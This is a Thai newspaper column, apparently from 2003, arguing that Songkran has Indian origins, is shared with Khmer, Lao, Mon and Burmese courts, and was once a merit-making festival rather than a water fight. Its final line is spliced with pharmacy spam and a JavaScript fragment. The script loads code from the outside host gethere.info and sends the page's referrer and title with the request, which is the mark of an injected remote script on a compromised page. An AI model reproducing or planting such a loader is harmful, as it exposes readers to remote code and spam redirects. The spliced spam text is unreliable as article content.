ข่าวสด-วันพุธที่ ๙ เมษายน ๒๕๔๖

 

สงกรานต์มาจากแขกอินเดีย

เขมร ลาว มอญ พม่า ก็มีสงกรานต์

คำว่าสงกรานต์เป็นภาษาสันสกฤต นายร้อยเอกหลวงบวรบรรณรักษ์ (นิยม รักไทย) อธิบายไว้ในหนังสือ สํสกฤต-ไท-อังกฤษ-อภิธาน (พิมพ์ครั้งแรก พ.ศ. ๒๔๖๙) ว่า

            “คติของดวงอาทิตย์หรือดาวพระเคราะห์ดวงอื่น จากภูจักร์หนึ่งไปสู่อีกภูจักร์หนึ่ง ; คติหรือการไป”

อธิบายง่ายๆ ว่าหมายถึงการเคลื่อนที่, ย้ายที่, เปลี่ยนที่ของดวงอาทิตย์จากราศีหนึ่งไปสู่อีกราศีหนึ่ง ซึ่งเกิดขึ้นทุกๆ เดือน เรียกสงกรานต์เดือน แต่ยกย่องเป็นวาระพิเศษเมื่อดวงอาทิตย์ย้ายที่จากราศีมีน (เดือน ๔) เข้าสู่ราศีเมษ (เดือน ๕) ซึ่งจะเกิดขึ้นปีละครั้งเดียว เรียกสงกรานต์ปี ถือเป็นมหาสงกรานต์ที่ต้องมีพิธีกรรมพิเศษ

คติเกี่ยวกับสงกรานต์ ไม่ใช่สมบัติของสังคมภูมิภาคอุษาคเนย์ และไม่ใช่สมบัติดั้งเดิมของตระกูลไทย แต่เป็นของสังคมชมพูทวีป คืออินเดีย แล้วแพร่หลายเข้ามาภูมิภาคนี้พร้อมกับตระกูลพราหมณ์ที่เดินทางเข้ามาติดต่อค้าขายและเผยแพร่ศาสนาทั้งพุทธและฮินดู เริ่มแต่ยุคสุวรรณภูมิเมื่อราว ๒,๐๐๐ ปีมาแล้ว

สงกรานต์ เป็นความรู้ขั้นสูง จึงเป็นสมบัติของเหล่าพราหมณาจารย์จากชมพูทวีปหรือโหรดาจารย์ในราชสำนักเท่านั้น พวกนี้มีหน้าที่ประกอบพิธีกรรมให้กษัตริย์และปวงเทพยดาบนสรวงสวรรค์ ซึ่งมีพิธีกรรมเกี่ยวกับสงกรานต์ เป็นความรู้ลับเฉพาะอยู่ด้วย

ฉะนั้น สงกรานต์ในยุคแรกๆ จึงไม่ใช่ประเพณีของไพร่บ้านพลเมือง แต่เป็นของชนชั้นสูงในราชสำนักเท่านั้น ในเอกสารของชาวยุโรปที่เข้ามาเจริญทางพระราชไมตรีสมัยกรุงศรีอยุธยา จึงบันทึกว่าปฏิทินในราชสำนักมีพิธีขึ้นปีใหม่ตอนเดือน ๕ แต่ประชาชนพลเมืองทั่วไปมีในเดือนอ้าย ก็คือในยุคนั้นยังไม่มีสงกรานต์ของไพร่บ้านพลเมืองนั่นเอง

ราชสำนักของรัฐในภูมิภาคอุษาคเนย์ที่อยู่ใกล้ทะเล รับเอาสงกรานต์ไว้พร้อมๆกัน แล้วต่างก็ปรับใช้ตามความต้องการหรือตามลักษณะการเมืองของรัฐนั้นๆ

สงกรานต์ในราชสำนักเขมรโบราณต้องมีสวดภาณยักษ์ด้วย เพราะถือเป็นพิธีขับไล่ภูตผีปีศาจของปีเก่าให้ออกไปจากอาณาจักร แล้วสะเดาะพระเคราะห์ในปีใหม่ที่กำลังเริ่มต้น ถือเป็นการจำเริญพระสิริสวัสดิ์โชคชัยมงคลแก่พระราชบัลลังก์ด้วย ในพิธีกรรมนี้มีการนำแม่มด ๘ ตน เข้ามาทำพิธีที่โรงข้างเหนือพระตำหนัก แล้วให้ขุนนางแต่งตัวเหมือนโขนถืออาวุธขับไล่แม่มดทั้งหมดให้กระเจิดกระเจิงไป

ส่วนสงกรานต์ที่มีในกฎมณเฑียรบาลของกรุงศรีอยุธยาต่างออกไป แต่จะไม่เล่าตรงนี้ เพราะมีรายการละเอียดซับซ้อนมาก

จะเห็นว่าสงกรานต์เป็นของแขกอินเดียแท้ๆ แต่ราชสำนักของภูมิภาคนี้ทุกแห่งเอามาปรับใช้เพื่อผลทางการเมืองการปกครอง ครั้นภายหลังจึงแพร่หลายลงสู่ชาวบ้านในเมืองหลวงหรือราชธานีก่อน จากนั้นจึงขยายออกไปถึงบ้านเล็กเมืองน้อยที่อยู่ภายในห่างทะเล เช่น ขึ้นไปถึงสิบสองพันนา ในยูนนาน เป็นต้น

ฉะนั้น ที่ว่าสงกรานต์เป็นประเพณีขึ้นปีใหม่ของไทยเท่านั้น จึงไม่ใช่แน่ๆ เพราะเขมร ลาว พม่าและมอญ ก็มีอย่างเดียวกัน และมีมานานแล้วพร้อมกับไทยนั่นแหละ

สงกรานต์สมัยก่อน ไม่ว่าจะอยู่ในราชสำนัก หรืออยู่ในชุมชนชาวบ้าน ล้วนไม่ใช่ประเพณีความรุนแรง หากเป็นงานบุญกุศล คือทำบุญ ทำทาน สรงน้ำพระ แล้วขนทรายเข้าวัด

ความรุนแรงที่แสดงออกด้วยการสาดน้ำทุกกระบวนท่า เพิ่งมาเมื่อไม่นานนี้เอง มันมาพร้อมกับการเปลี่ยนแปลงทางเศรษฐกิจ-การเมืองเพื่อบริโภคนิยมอย่างไม่ลืมหูและไม่ลืมตาfluoxetine images purchase inderals.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;